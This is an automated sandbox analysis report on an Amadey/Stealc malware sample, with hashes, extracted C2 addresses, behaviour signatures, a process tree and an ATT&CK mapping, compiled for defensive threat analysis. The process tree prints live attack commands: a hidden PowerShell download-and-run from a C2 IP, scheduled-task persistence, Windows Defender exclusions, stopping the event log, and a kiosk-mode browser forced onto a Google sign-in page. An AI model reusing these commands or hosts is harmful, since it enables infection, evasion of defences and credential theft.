Overview

overview

10

Static

static

5

6c1c13c558...b8.exe

windows7-x64

10

6c1c13c558...b8.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    05/03/2025, 18:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6c1c13c558064b548a5c9d5d791cd652bef19802cca778fe560ab64bbfb698b8.exe

  • Size

    938KB

  • MD5

    fa46bf7e563cae268f877b6868875b6f

  • SHA1

    29d2e9285129ee07b476bf864e52dae99676bb42

  • SHA256

    6c1c13c558064b548a5c9d5d791cd652bef19802cca778fe560ab64bbfb698b8

  • SHA512

    5cce4d4e042efb139902c69154aa9d343629342bb1aa89e4ffdc140b81c683f6602ad7ad84db3038a36caf6332e43fa85b4f060e87f1da7b0944be089f20b935

  • SSDEEP

    24576:AqDEvCTbMWu7rQYlBQcBiT6rprG8a4ru:ATvC/MTQYxsWR7a4r

Score
10/10
amadeygcleanerhealerstealc092155trumpdefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 2 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 15 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 20 IoCs
  • Identifies Wine through registry keys 2 TTPs 10 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 58 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 6 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of FindShellTrayWindow 20 IoCs
  • Suspicious use of SendNotifyMessage 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\6c1c13c558064b548a5c9d5d791cd652bef19802cca778fe560ab64bbfb698b8.exe
    "C:\Users\Admin\AppData\Local\Temp\6c1c13c558064b548a5c9d5d791cd652bef19802cca778fe560ab64bbfb698b8.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn IYgybmaalE2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\yGFAOVNIS.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3032
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn IYgybmaalE2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\yGFAOVNIS.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2852
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\yGFAOVNIS.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'OOMUZQARSBNFT1ITDDWGP2QKL5BXGTRR.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2068
        • C:\Users\Admin\AppData\Local\TempOOMUZQARSBNFT1ITDDWGP2QKL5BXGTRR.EXE
          "C:\Users\Admin\AppData\Local\TempOOMUZQARSBNFT1ITDDWGP2QKL5BXGTRR.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2112
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:700
            • C:\Users\Admin\AppData\Local\Temp\10105540101\0974c9d1cc.exe
              "C:\Users\Admin\AppData\Local\Temp\10105540101\0974c9d1cc.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:368
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:884
            • C:\Users\Admin\AppData\Local\Temp\10105550101\4b99eca92e.exe
              "C:\Users\Admin\AppData\Local\Temp\10105550101\4b99eca92e.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1388
              • C:\Users\Admin\AppData\Local\Temp\10105550101\4b99eca92e.exe
                "C:\Users\Admin\AppData\Local\Temp\10105550101\4b99eca92e.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:112
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 112 -s 1032
                  8⤵
                  • Loads dropped DLL
                  • Program crash
                  PID:1720
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1388 -s 512
                7⤵
                • Loads dropped DLL
                • Program crash
                PID:2084
            • C:\Users\Admin\AppData\Local\Temp\10105560101\d0e63d47c9.exe
              "C:\Users\Admin\AppData\Local\Temp\10105560101\d0e63d47c9.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2060
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:3000
            • C:\Users\Admin\AppData\Local\Temp\10105570101\d45941d81b.exe
              "C:\Users\Admin\AppData\Local\Temp\10105570101\d45941d81b.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              PID:2936
            • C:\Users\Admin\AppData\Local\Temp\10105580101\35d7e2eba2.exe
              "C:\Users\Admin\AppData\Local\Temp\10105580101\35d7e2eba2.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              PID:1388
            • C:\Users\Admin\AppData\Local\Temp\10105590101\b799061492.exe
              "C:\Users\Admin\AppData\Local\Temp\10105590101\b799061492.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2340
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 1212
                7⤵
                • Loads dropped DLL
                • Program crash
                PID:2380
            • C:\Users\Admin\AppData\Local\Temp\10105600101\baf41f08af.exe
              "C:\Users\Admin\AppData\Local\Temp\10105600101\baf41f08af.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2148
            • C:\Users\Admin\AppData\Local\Temp\10105610101\f4dcb32859.exe
              "C:\Users\Admin\AppData\Local\Temp\10105610101\f4dcb32859.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:2636
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2740
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2792
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1108
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1604
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2700
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                7⤵
                  PID:928
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    8⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:2176
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.0.870440171\239906035" -parentBuildID 20221007134813 -prefsHandle 1220 -prefMapHandle 1212 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f98590d1-6dea-4f14-a697-4041d5dc1d0a} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 1280 101cd058 gpu
                      9⤵
                        PID:2900
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.1.925290655\318065056" -parentBuildID 20221007134813 -prefsHandle 1472 -prefMapHandle 1468 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c9a65428-1452-4676-b63c-727e24f9f17e} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 1500 d74558 socket
                        9⤵
                          PID:2724
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.2.1590502267\47093695" -childID 1 -isForBrowser -prefsHandle 2028 -prefMapHandle 2044 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e915ac31-0d3e-4e79-adf4-12ae24178af1} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 2020 19adbb58 tab
                          9⤵
                            PID:2516
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.3.562601285\341159552" -childID 2 -isForBrowser -prefsHandle 2852 -prefMapHandle 2848 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e09cbff6-9550-4c8c-a997-4cb7443f92c8} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 2864 d64858 tab
                            9⤵
                              PID:900
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.4.894274098\986878300" -childID 3 -isForBrowser -prefsHandle 3908 -prefMapHandle 3904 -prefsLen 26432 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8d5a9802-14b8-4153-977f-e42b175c6c44} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 3928 1fdd7458 tab
                              9⤵
                                PID:1940
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.5.63519901\736010315" -childID 4 -isForBrowser -prefsHandle 4048 -prefMapHandle 4052 -prefsLen 26432 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {54a29fe7-e9c1-4ff1-a11f-11673fb2169a} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 3892 200d7358 tab
                                9⤵
                                  PID:112
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.6.1291563817\2097252303" -childID 5 -isForBrowser -prefsHandle 4240 -prefMapHandle 4244 -prefsLen 26432 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bdc9c455-1321-4e34-83b5-619b0482cfd5} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 4332 20231858 tab
                                  9⤵
                                    PID:568
                            • C:\Users\Admin\AppData\Local\Temp\10105620101\ceea5a1e0e.exe
                              "C:\Users\Admin\AppData\Local\Temp\10105620101\ceea5a1e0e.exe"
                              6⤵
                              • Modifies Windows Defender DisableAntiSpyware settings
                              • Modifies Windows Defender Real-time Protection settings
                              • Modifies Windows Defender TamperProtection settings
                              • Modifies Windows Defender notification settings
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Windows security modification
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2280
                            • C:\Users\Admin\AppData\Local\Temp\10105630101\v6Oqdnc.exe
                              "C:\Users\Admin\AppData\Local\Temp\10105630101\v6Oqdnc.exe"
                              6⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1708
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 1216
                                7⤵
                                • Loads dropped DLL
                                • Program crash
                                PID:3232
                            • C:\Users\Admin\AppData\Local\Temp\10105640101\OEHBOHk.exe
                              "C:\Users\Admin\AppData\Local\Temp\10105640101\OEHBOHk.exe"
                              6⤵
                              • Executes dropped EXE
                              • Drops file in System32 directory
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3440
                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                7⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Drops file in System32 directory
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3824
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                7⤵
                                  PID:3920
                                  • C:\Windows\system32\wusa.exe
                                    wusa /uninstall /kb:890830 /quiet /norestart
                                    8⤵
                                    • Drops file in Windows directory
                                    PID:4064
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                  7⤵
                                  • Power Settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3928
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                  7⤵
                                  • Power Settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3936
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                  7⤵
                                  • Power Settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3944
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                  7⤵
                                  • Power Settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3972
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe delete "DWENDQPG"
                                  7⤵
                                  • Launches sc.exe
                                  PID:3980
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe create "DWENDQPG" binpath= "C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe" start= "auto"
                                  7⤵
                                  • Launches sc.exe
                                  PID:4044
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe stop eventlog
                                  7⤵
                                  • Launches sc.exe
                                  PID:4084
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe start "DWENDQPG"
                                  7⤵
                                  • Launches sc.exe
                                  PID:4092
                              • C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe
                                "C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe"
                                6⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of SetThreadContext
                                • System Location Discovery: System Language Discovery
                                PID:3560
                                • C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  PID:3596
                                • C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  PID:3604
                                • C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:3612
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3612 -s 1036
                                    8⤵
                                    • Loads dropped DLL
                                    • Program crash
                                    PID:3788
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3560 -s 520
                                  7⤵
                                  • Loads dropped DLL
                                  • Program crash
                                  PID:3668
                    • C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe
                      C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe
                      1⤵
                      • Executes dropped EXE
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3244
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3216
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                        2⤵
                          PID:2272
                          • C:\Windows\system32\wusa.exe
                            wusa /uninstall /kb:890830 /quiet /norestart
                            3⤵
                            • Drops file in Windows directory
                            PID:3312
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                          2⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2576
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                          2⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1948
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                          2⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:980
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                          2⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3056
                        • C:\Windows\system32\conhost.exe
                          C:\Windows\system32\conhost.exe
                          2⤵
                            PID:2660
                          • C:\Windows\explorer.exe
                            explorer.exe
                            2⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3236

                        Network

                        MITRE ATT&CK Enterprise v15

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        1
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        System Services

                        2
                        T1569

                        Service Execution

                        2
                        T1569.002

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        6
                        T1543

                        Windows Service

                        6
                        T1543.003

                        Power Settings

                        1
                        T1653

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        6
                        T1543

                        Windows Service

                        6
                        T1543.003

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        Impair Defenses

                        6
                        T1562

                        Disable or Modify Tools

                        5
                        T1562.001

                        Modify Registry

                        8
                        T1112

                        Subvert Trust Controls

                        1
                        T1553

                        Install Root Certificate

                        1
                        T1553.004

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        3
                        T1552

                        Credentials In Files

                        3
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Query Registry

                        6
                        T1012

                        System Information Discovery

                        3
                        T1082

                        System Location Discovery

                        1
                        T1614

                        System Language Discovery

                        1
                        T1614.001

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Lateral Movement

                        Collection

                        Data from Local System

                        3
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Service Stop

                        1
                        T1489

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\ProgramData\DDD14F0DB5185B92.dat
                          Filesize

                          46KB

                          MD5

                          02d2c46697e3714e49f46b680b9a6b83

                          SHA1

                          84f98b56d49f01e9b6b76a4e21accf64fd319140

                          SHA256

                          522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

                          SHA512

                          60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

                          Download Submit

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
